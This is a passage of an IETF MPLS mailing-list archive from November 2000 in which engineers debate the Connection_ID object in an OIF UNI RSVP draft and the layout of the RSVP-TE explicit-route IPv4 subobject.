(peer crosschecked as: mail-blue.research.att.com [135.207.30.102]) id QQjrox17652 for ; Thu, 30 Nov 2000 19:58:02 GMT Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-blue.research.att.com (Postfix) with ESMTP id 8CC924CE44; Thu, 30 Nov 2000 14:58:02 -0500 (EST) Received: from research.att.com (dhcp-new47.research.att.com [135.207.19.47]) by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id OAA08949; Thu, 30 Nov 2000 14:58:02 -0500 (EST) Message-ID: <3A26B180.6AD420C6@research.att.com> Date: Thu, 30 Nov 2000 14:58:56 -0500 From: Guangzhi Li X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Fong Liaw Cc: "'Diego Caviglia'" , mpls@UU.NET Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 References: <4611AD058694D4118FD5009027B0A6622B890E@ICARIAN> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Fong: From signaling point of view, let's clarify something first: (1) who generate the "Connection_ID" ? The first-hop-router in the network, right. (2) Suppose that I am a user node and I want to setup a lightpath. I send out a lightpath request throught UNI. Then the first-hop-router will try to establish the lightpath. (3) When will I get the connection_ID from the network? (4) You said that a user node MUST carry the object in every subsequent RSVP messages it generates. You mean "refresh messages, teardown messages, or update messages" ? (5) If my understanding is correct, why should a user node bother "Connection_ID"? (Connection_ID = AS number+source address+local_id). Any ID simpler will work between UNI. Please give me more explanation. Thanks, -- Guangzhi Fong Liaw wrote: > Hi, Diego > > The official name for ligthpath ID is now "Connection_ID". > We are still discussing (among authors) how this > object should be used and therefore where it should > show up in the messages. Right now, we don't have > a clear definition of these from the requirement > but this will hopefully be resolved between the > carrier group in OIF and the signaling group authors soon. > > Right now our proposal is the following: > > "The Connection_ID object will be an optional > object in all RSVP messages. However, once a > Connection_ID is assigned by the network, > a user node MUST carry the object in every > subsequent RSVP message it generates." > > This phrase gives network the freedom of generating > or not generating a Connection_ID, and if they do > generate one, a user node will play it back to > the network. A connection is still identified by > RSVP Session object, at the UNI. > > -Fong > > > -----Original Message----- > > From: Diego Caviglia [mailto:Diego.Caviglia@marconi.com] > > Sent: Thursday, November 30, 2000 5:54 AM > > To: mpls@UU.NET > > Subject: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > > > > > Fong, > > I've seen that w.r.t. the OIF version of this > > draft a Lightpath > > ID object is introduced but in the message definition I > > can't find it. > > > > If it is not a mistake, could someone explain in wich > > message Lightpath ID must > > be inserted? > > > > Regards Diego. > > > > From owner-mpls@UU.NET Thu Nov 30 15:07:48 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24843 for ; Thu, 30 Nov 2000 15:07:48 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroy00548; Thu, 30 Nov 2000 20:06:58 GMT Received: by mail-control.mail.uu.net id QQjroy02387 for mpls-outgoing; Thu, 30 Nov 2000 20:06:23 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjroy02371 for ; Thu, 30 Nov 2000 20:06:20 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjroy12755 for ; Thu, 30 Nov 2000 20:05:05 GMT Received: from csa.iisc.ernet.in by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjroy27626 for ; Thu, 30 Nov 2000 20:05:02 GMT Received: from ada.csa.iisc.ernet.in (IDENT:root@ada.csa.iisc.ernet.in [144.16.67.35]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id BAA28155 for ; Fri, 1 Dec 2000 01:32:14 +0530 Received: from localhost (prasanna@localhost) by ada.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id BAA32669 for ; Fri, 1 Dec 2000 01:34:59 +0530 X-Authentication-Warning: ada.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Fri, 1 Dec 2000 01:34:59 +0530 (IST) From: Gaitonde Anandprasanna To: mpls@UU.NET Subject: Difficulty about IPv4 Prefix in Explicit route Object in RSVP-TE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk I am sorry to repost this question but i am reallly interested in knowing this . If the question i asked is correct then also let me know if in subsequent drafts we can change the format of ERO subobject (i.e. putting the IPv4 address at the end of the object.) Here is my previous mail :- This question was asked by some person earlier but somehow i did not see the answers in the mailing lists. If i have missed the answer then please provide pointers to mail archives. I wanted to know why the format of the IPv4 Prefix is that way: RSVP ERO subobject IPv4 address:- In RSVP-TE, the format of subobject 1: IPv4 address (4.4.1.1) is 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 Type | Length | IPv4 address ----------------------------------------------------------------- IPv4 address | Prefix Length | Flags ------------------------------------------------------------------ Can somebody explain to me: What is the advantage to split the IPv4 address in two words? From the implementation point of view, it should be much easy to put IPv4 address in a single word. Thanx in advance Pras From owner-mpls@UU.NET Thu Nov 30 15:15:05 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA28144 for ; Thu, 30 Nov 2000 15:15:04 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroy01069; Thu, 30 Nov 2000 20:14:11 GMT Received: by mail-control.mail.uu.net id QQjroy03755 for mpls-outgoing; Thu, 30 Nov 2000 20:13:47 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjroy03746 for ; Thu, 30 Nov 2000 20:13:42 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroy05212 for ; Thu, 30 Nov 2000 20:12:34 GMT Received: from icarian.ZAFFIRE.COM by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: netscreen10.zaffire.com [64.232.69.132]) id QQjroy03238 for ; Thu, 30 Nov 2000 20:12:32 GMT Received: by ICARIAN with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 12:13:21 -0800 Message-ID: <4611AD058694D4118FD5009027B0A6622B8912@ICARIAN> From: Fong Liaw To: "'Guangzhi Li'" , Fong Liaw Cc: "'Diego Caviglia'" , mpls@UU.NET Subject: RE: draft-yu-mpls-rsvp-oif-uni-00 Date: Thu, 30 Nov 2000 12:13:19 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Guangzhi I was not in the Maui meeting but what was advocated (by carrier group members) and agreed is that the signaling protocol MUST carry a "network assigned" ID as lightpath identifier. I completely agree with you that the Session object would serve the purpose at UNI, but OIF carrier group apparently think otherwise. My proposal in last email is a compromise. The MUST part applies only after it is assigned, most likely by Resv Message from network->user and in Path message from network->user (i.e. first hop network node). We can go though the messages one by one to see which one really need to carry the connection_ID, but from what I heard, only ACK and Srefresh can be exempted from it. I would rather we don't have this in UNI ... So if you can convince your OIF carrier group representative to take it out, most of us would have no problem. George was in Maui OIF meeting, maybe he can tell us what's the situation there. -Fong > -----Original Message----- > From: Guangzhi Li [mailto:gli@research.att.com] > Sent: Thursday, November 30, 2000 11:59 AM > To: Fong Liaw > Cc: 'Diego Caviglia'; mpls@UU.NET > Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 > > > Fong: > > From signaling point of view, let's clarify something first: > (1) who generate the "Connection_ID" ? The first-hop-router in the > network, right. > (2) Suppose that I am a user node and I want to setup a lightpath. I > send out a lightpath request throught UNI. Then the first-hop-router > will try to establish the lightpath. > (3) When will I get the connection_ID from the network? > (4) You said that a user node MUST carry the object in every > subsequent > RSVP messages it generates. You mean "refresh messages, teardown > messages, or update messages" ? > (5) If my understanding is correct, why should a user node bother > "Connection_ID"? > (Connection_ID = AS number+source address+local_id). Any ID > simpler will > work between UNI. > > Please give me more explanation. Thanks, > > -- Guangzhi > > > > Fong Liaw wrote: > > > Hi, Diego > > > > The official name for ligthpath ID is now "Connection_ID". > > We are still discussing (among authors) how this > > object should be used and therefore where it should > > show up in the messages. Right now, we don't have > > a clear definition of these from the requirement > > but this will hopefully be resolved between the > > carrier group in OIF and the signaling group authors soon. > > > > Right now our proposal is the following: > > > > "The Connection_ID object will be an optional > > object in all RSVP messages. However, once a > > Connection_ID is assigned by the network, > > a user node MUST carry the object in every > > subsequent RSVP message it generates." > > > > This phrase gives network the freedom of generating > > or not generating a Connection_ID, and if they do > > generate one, a user node will play it back to > > the network. A connection is still identified by > > RSVP Session object, at the UNI. > > > > -Fong > > > > > -----Original Message----- > > > From: Diego Caviglia [mailto:Diego.Caviglia@marconi.com] > > > Sent: Thursday, November 30, 2000 5:54 AM > > > To: mpls@UU.NET > > > Subject: draft-yu-mpls-rsvp-oif-uni-00 > > > > > > > > > > > > > > > Fong, > > > I've seen that w.r.t. the OIF version of this > > > draft a Lightpath > > > ID object is introduced but in the message definition I > > > can't find it. > > > > > > If it is not a mistake, could someone explain in wich > > > message Lightpath ID must > > > be inserted? > > > > > > Regards Diego. > > > > > > > From owner-mpls@UU.NET Thu Nov 30 15:29:37 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA03401 for ; Thu, 30 Nov 2000 15:29:37 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroz21092; Thu, 30 Nov 2000 20:28:22 GMT Received: by mail-control.mail.uu.net id QQjroz05359 for mpls-outgoing; Thu, 30 Nov 2000 20:27:46 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroz05343 for ; Thu, 30 Nov 2000 20:27:32 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjroz26711 for ; Thu, 30 Nov 2000 20:27:06 GMT Received: from granger.mail.mindspring.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: granger.mail.mindspring.net [207.69.200.148]) id QQjroz28979 for ; Thu, 30 Nov 2000 20:27:05 GMT Received: from mindspring.com (user-2ive2ei.dialup.mindspring.com [165.247.9.210]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id PAA05181; Thu, 30 Nov 2000 15:26:43 -0500 (EST) Message-ID: <3A26B85B.3779D6FB@mindspring.com> Date: Thu, 30 Nov 2000 15:28:13 -0500 From: Eric Gray Reply-To: ewgray@mindspring.com X-Mailer: Mozilla 4.51 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Gaitonde Anandprasanna CC: mpls@UU.NET Subject: Re: Difficulty about IPv4 Prefix in Explicit route Object in RSVP-TE References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit As I recall, the reason for this was that there was an existing implementation that did it this way. In some models of the Universe, no further justification is required. :-) -- Eric Gray Gaitonde Anandprasanna wrote: > I am sorry to repost this question but i am reallly interested in knowing > this . > > If the question i asked is correct then also let me know if in subsequent > drafts we can change the format of ERO subobject (i.e. putting the IPv4 > address at the end of the object.) > > Here is my previous mail :- > > This question was asked by some person earlier but somehow i did not see > the answers in the mailing lists. If i have missed the answer then please > provide pointers to mail archives. > > I wanted to know why the format of the IPv4 Prefix is that way: > > RSVP ERO subobject IPv4 address:- > > In RSVP-TE, the format of subobject 1: IPv4 address (4.4.1.1) is > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > Type | Length | IPv4 address > ----------------------------------------------------------------- > IPv4 address | Prefix Length | Flags > ------------------------------------------------------------------ > > Can somebody explain to me: What is the advantage to split the IPv4 > address in two words? From the > implementation point of view, it should be much easy to put IPv4 address > in a single word. > > Thanx in advance > > Pras From owner-mpls@UU.NET Thu Nov 30 15:31:48 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA04231 for ; Thu, 30 Nov 2000 15:31:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpa04386; Thu, 30 Nov 2000 20:30:48 GMT Received: by mail-control.mail.uu.net id QQjrpa05626 for mpls-outgoing; Thu, 30 Nov 2000 20:30:11 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjroz05552 for ; Thu, 30 Nov 2000 20:29:57 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroz26043 for ; Thu, 30 Nov 2000 20:29:41 GMT Received: from csa.iisc.ernet.in by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjroz27274 for ; Thu, 30 Nov 2000 20:29:38 GMT Received: from ada.csa.iisc.ernet.in (IDENT:root@ada.csa.iisc.ernet.in [144.16.67.35]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id BAA28331; Fri, 1 Dec 2000 01:56:44 +0530 Received: from localhost (prasanna@localhost) by ada.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id BAA00464; Fri, 1 Dec 2000 01:59:29 +0530 X-Authentication-Warning: ada.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Fri, 1 Dec 2000 01:59:29 +0530 (IST) From: Gaitonde Anandprasanna To: Eric Gray cc: mpls@UU.NET Subject: Re: Difficulty about IPv4 Prefix in Explicit route Object in RSVP-TE In-Reply-To: <3A26B85B.3779D6FB@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Thanks for replying. But i think if we have the IPV4 prefix at the end then it is much easier for implementation. So cant we change it now??? Pras On Thu, 30 Nov 2000, Eric Gray wrote: > As I recall, the reason for this was that there was > an existing implementation that did it this way. In > some models of the Universe, no further justification > is required. :-) > > -- > Eric Gray > > Gaitonde Anandprasanna wrote: > > > I am sorry to repost this question but i am reallly interested in knowing > > this . > > > > If the question i asked is correct then also let me know if in subsequent > > drafts we can change the format of ERO subobject (i.e. putting the IPv4 > > address at the end of the object.) > > > > Here is my previous mail :- > > > > This question was asked by some person earlier but somehow i did not see > > the answers in the mailing lists. If i have missed the answer then please > > provide pointers to mail archives. > > > > I wanted to know why the format of the IPv4 Prefix is that way: > > > > RSVP ERO subobject IPv4 address:- > > > > In RSVP-TE, the format of subobject 1: IPv4 address (4.4.1.1) is > > > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > > Type | Length | IPv4 address > > ----------------------------------------------------------------- > > IPv4 address | Prefix Length | Flags > > ------------------------------------------------------------------ > > > > Can somebody explain to me: What is the advantage to split the IPv4 > > address in two words? From the > > implementation point of view, it should be much easy to put IPv4 address > > in a single word. > > > > Thanx in advance > > > > Pras > _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-_|; Thu, 30 Nov 2000 16:06:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpc12089; Thu, 30 Nov 2000 21:05:02 GMT Received: by mail-control.mail.uu.net id QQjrpc19489 for mpls-outgoing; Thu, 30 Nov 2000 21:04:29 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrpc19276 for ; Thu, 30 Nov 2000 21:04:26 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrpc11459 for ; Thu, 30 Nov 2000 21:03:30 GMT Received: from mail-blue.research.att.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-blue.research.att.com [135.207.30.102]) id QQjrpc14793 for ; Thu, 30 Nov 2000 21:03:30 GMT Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-blue.research.att.com (Postfix) with ESMTP id 6A58E4CE32; Thu, 30 Nov 2000 16:03:26 -0500 (EST) Received: from research.att.com (dhcp-new47.research.att.com [135.207.19.47]) by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id QAA16985; Thu, 30 Nov 2000 16:03:26 -0500 (EST) Message-ID: <3A26C0D4.589ECAC6@research.att.com> Date: Thu, 30 Nov 2000 16:04:20 -0500 From: Guangzhi Li X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Gaitonde Anandprasanna Cc: Eric Gray , mpls@UU.NET Subject: Re: Difficulty about IPv4 Prefix in Explicit route Object in RSVP-TE References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi, all: I asked this question several times. Only Eric Gray gave one reason. Thanks for the suggestion. Lots of implementations are going on. Can we change it now? Our future life will be much easier. Putting IPv4 and IPv6 at the end will make implementation easy and few bugoses. How many people will support this ?? Thanks. -- Guangzhi Gaitonde Anandprasanna wrote: > Thanks for replying. > > But i think if we have the IPV4 prefix at the end then it is much > easier for implementation. > > So cant we change it now??? > > Pras > > On Thu, 30 Nov 2000, Eric Gray wrote: > > > As I recall, the reason for this was that there was > > an existing implementation that did it this way. In > > some models of the Universe, no further justification > > is required. :-) > > > > -- > > Eric Gray > > > > Gaitonde Anandprasanna wrote: > > > > > I am sorry to repost this question but i am reallly interested in knowing > > > this . > > > > > > If the question i asked is correct then also let me know if in subsequent > > > drafts we can change the format of ERO subobject (i.e. putting the IPv4 > > > address at the end of the object.) > > > > > > Here is my previous mail :- > > > > > > This question was asked by some person earlier but somehow i did not see > > > the answers in the mailing lists. If i have missed the answer then please > > > provide pointers to mail archives. > > > > > > I wanted to know why the format of the IPv4 Prefix is that way: > > > > > > RSVP ERO subobject IPv4 address:- > > > > > > In RSVP-TE, the format of subobject 1: IPv4 address (4.4.1.1) is > > > > > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > > > Type | Length | IPv4 address > > > ----------------------------------------------------------------- > > > IPv4 address | Prefix Length | Flags > > > ------------------------------------------------------------------ > > > > > > Can somebody explain to me: What is the advantage to split the IPv4 > > > address in two words? From the > > > implementation point of view, it should be much easy to put IPv4 address > > > in a single word. > > > > > > Thanx in advance > > > > > > Pras From owner-mpls@UU.NET Thu Nov 30 16:10:35 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA17901 for ; Thu, 30 Nov 2000 16:10:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpc18209; Thu, 30 Nov 2000 21:09:09 GMT Received: by mail-control.mail.uu.net id QQjrpc21493 for mpls-outgoing; Thu, 30 Nov 2000 21:08:32 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrpc21462 for ; Thu, 30 Nov 2000 21:08:17 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrpc24165 for ; Thu, 30 Nov 2000 21:07:42 GMT Received: from relay2.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alc239.alcatel.be [195.207.101.239]) id QQjrpc16008 for ; Thu, 30 Nov 2000 21:07:41 GMT Received: from bemail05.net.alcatel.be (localhost [127.0.0.1]) by relay2.alcatel.be (8.10.1/8.10.1) with SMTP id eAUL4tw29837; Thu, 30 Nov 2000 22:04:55 +0100 (MET) Received: from alcatel.be ([138.203.64.13]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) with SMTP id C12569A7.007406C8; Thu, 30 Nov 2000 22:07:19 +0100 Message-ID: <3A26C130.F605E60C@alcatel.be> Date: Thu, 30 Nov 2000 22:05:54 +0100 From: Papadimitriou Dimitri X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: FLiaw@zaffire.com, mpls Subject: Questions concerning: draft-yu-mpls-rsvp-oif-uni-00.txt Content-Type: multipart/mixed; boundary="------------2E57EC90039E97F051EE4C49" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------2E57EC90039E97F051EE4C49 Content-Type: multipart/alternative; boundary="------------48B74E7FCF4B2F356A4BA9E9" --------------48B74E7FCF4B2F356A4BA9E9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, I have some questions concerning the draft: draft-yu-mpls-rsvp-oif-uni-00.txt The official name for ligthpath ID is now "Connection_ID", So By refering to the draft: draft-many-carrier-framework-uni-00.txt 3.3.1 Identification Attributes [...] - connection identifier: a globally unique identifier for the connection. This identifier will be assigned by the network. The globally unique connection identifier will be created using a globally unique carrier identifier (identifying the carrier from which the connection request is sourced) and a carrier unique connection identifier. This attribute is not modifiable (i.e. cannot be modified using the modify command). By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt 3.2.4 Lightpath_ID Object The Lightpath_ID object is used to uniquely determine a lightpath within the optical network. Lightpath_ID object has the following format: - IPv4 source address: This is the address (32 bits) for the source UNI-C who originates the lightpath. - IPv4 destination address: This is the address (32 bits) for the destination UNI-C who terminates the lightpath. - Ligthpath number: This is the unique identifier (64 bits) in the network to be associated with the lightpath. Questions are the following: I think that carrier identifier means 'optical network identifier' not the client network (so the UNI-Client address should not be the included within the lightpath ID) ? Secondly i do not understand why the ONE has to assign an IP address belonging to the signaling plane. Imagine that the address space of the signaling plane (i.e. control plane) changes then you have to change all the identifiers of the lightpaths (or connections) which by definitions are included within the transport plane. This solution does not guarantee the independancy between the signaling and the transport plane. Do you agree ? Imagine that you may use the UNI-C as identifier, then I do not understand why you need to include the destination UNI-C IP address within the lightpath ID. Moreover, how do you know the relationship between UNI-C and the destination client address (or name) ? Regards, Dimitri. --------------48B74E7FCF4B2F356A4BA9E9 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hello,

I have some questions concerning the draft: draft-yu-mpls-rsvp-oif-uni-00.txt

The official name for ligthpath ID is now "Connection_ID", So
By refering to the draft: draft-many-carrier-framework-uni-00.txt

3.3.1 Identification Attributes

   [...]

   - connection identifier: a globally unique identifier for the
     connection.  This identifier will be assigned by the network.  The
     globally unique connection identifier will be created using a
     globally unique carrier identifier (identifying the carrier from
     which the connection request is sourced) and a carrier unique
     connection identifier.  This attribute is not modifiable (i.e.
     cannot be modified using the modify command).
 

By refering to the draft: draft-yu-mpls-rsvp-oif-uni-00.txt

3.2.4 Lightpath_ID Object
 
   The Lightpath_ID object is used to uniquely determine a lightpath
   within the optical network. Lightpath_ID object has the following
   format: 
  - IPv4 source address: This is the address (32 bits) for the source
     UNI-C who originates the lightpath.
  - IPv4 destination address: This is the address (32 bits) for the
     destination UNI-C who terminates the lightpath.
  - Ligthpath number: This is the unique identifier (64 bits) in the
     network to be associated with the lightpath.
 

Questions are the following:

I think that carrier identifier means 'optical network identifier' not the
client network (so the UNI-Client address should not be the included
within the lightpath ID) ?

Secondly i do not understand why the ONE has to assign an IP address belonging
to the signaling plane. Imagine that the address space of the signaling plane
(i.e. control plane) changes then you have to change all the identifiers of
the lightpaths (or connections) which by definitions are included within the
transport plane. This solution does not guarantee the independancy between
the signaling and the transport plane. Do you agree ?

Imagine that you may use the UNI-C as identifier, then I do not understand why
you need to include the destination UNI-C IP address within the lightpath ID.
Moreover, how do you know the relationship between UNI-C and the destination
client address (or name) ?

Regards,

Dimitri. --------------48B74E7FCF4B2F356A4BA9E9-- --------------2E57EC90039E97F051EE4C49 Content-Type: text/x-vcard; charset=us-ascii; name="Dimitri.Papadimitriou.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Papadimitriou Dimitri Content-Disposition: attachment; filename="Dimitri.Papadimitriou.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Dimitri;Papadimitriou Dimitri tel;home:+322-3434361 tel;work:+323-2408491 x-mozilla-html:FALSE org:Alcatel;Corporate Research Center adr:;;Francis Wellesplein, 1;Antwerpen;Antwerpen;B-2018;Belgium version:2.1 email;internet:Dimitri.Papadimitriou@alcatel.be title:Telecom R&D Engineer fn:Papadimitriou Dimitri end:vcard --------------2E57EC90039E97F051EE4C49-- From owner-mpls@UU.NET Thu Nov 30 16:25:31 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23371 for ; Thu, 30 Nov 2000 16:25:30 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrpd20139; Thu, 30 Nov 2000 21:24:24 GMT Received: by mail-control.mail.uu.net id QQjrpd23668 for mpls-outgoing; Thu, 30 Nov 2000 21:23:51 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrpd23661 for ; Thu, 30 Nov 2000 21:23:47 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrpd15152 for ; Thu, 30 Nov 2000 21:23:18 GMT Received: from relay2.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: alc239.alcatel.be [195.207.101.239]) id QQjrpd07850 for ; Thu, 30 Nov 2000 21:23:17 GMT Received: from bemail05.net.alcatel.be (localhost [127.0.0.1]) by relay2.alcatel.be (8.10.1/8.10.1) with SMTP id eAULJk601534; Thu, 30 Nov 2000 22:19:46 +0100 (MET) Received: from alcatel.be ([138.203.64.13]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) with SMTP id C12569A7.00756352; Thu, 30 Nov 2000 22:22:11 +0100 Message-ID: <3A26C4AD.430D3615@alcatel.be> Date: Thu, 30 Nov 2000 22:20:46 +0100 From: Papadimitriou Dimitri X-Mailer: Mozilla 4.72 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Fong Liaw CC: "'Guangzhi Li'" , "'Diego Caviglia'" , mpls@UU.NET Subject: Re: draft-yu-mpls-rsvp-oif-uni-00 References: <4611AD058694D4118FD5009027B0A6622B8912@ICARIAN> Content-Type: multipart/mixed; boundary="------------724FF2E5AED0323D0E5109C4" Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. --------------724FF2E5AED0323D0E5109C4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, Please check the document draft-bala-mpls-optical-uni-signaling-00.txt This draft reflects ongoing work at the Optical Interworking Forum (OIF) and the Optical Domain Service Interconnect (ODSI) coalition on the optical UNI [2]. (dixit) In this draft you will find that: Connection ID is explicitly needed in Create response (specified since assigned by the network) Delete request/response Modify request/response Status request/response Notification message Within the Create request the connection ID is unspecified You will find within this draft the definition of lightpath ID (dixit) Lightpath ID: A network-wide unique identifier for a lightpath. This identifier is assigned by the optical network. It consists of the IP address of an OXC along with a locally unique index. Hope this helps you. Regards, Dimitri. Fong Liaw wrote: > Guangzhi > > I was not in the Maui meeting but what was > advocated (by carrier group members) and agreed > is that the signaling protocol MUST carry a > "network assigned" ID as lightpath identifier. > > I completely agree with you that the Session > object would serve the purpose at UNI, but OIF > carrier group apparently think otherwise. > My proposal in last email is a compromise. > > The MUST part applies only after it is assigned, > most likely by Resv Message from network->user and in > Path message from network->user (i.e. first hop network > node). We can go though the messages one by one to > see 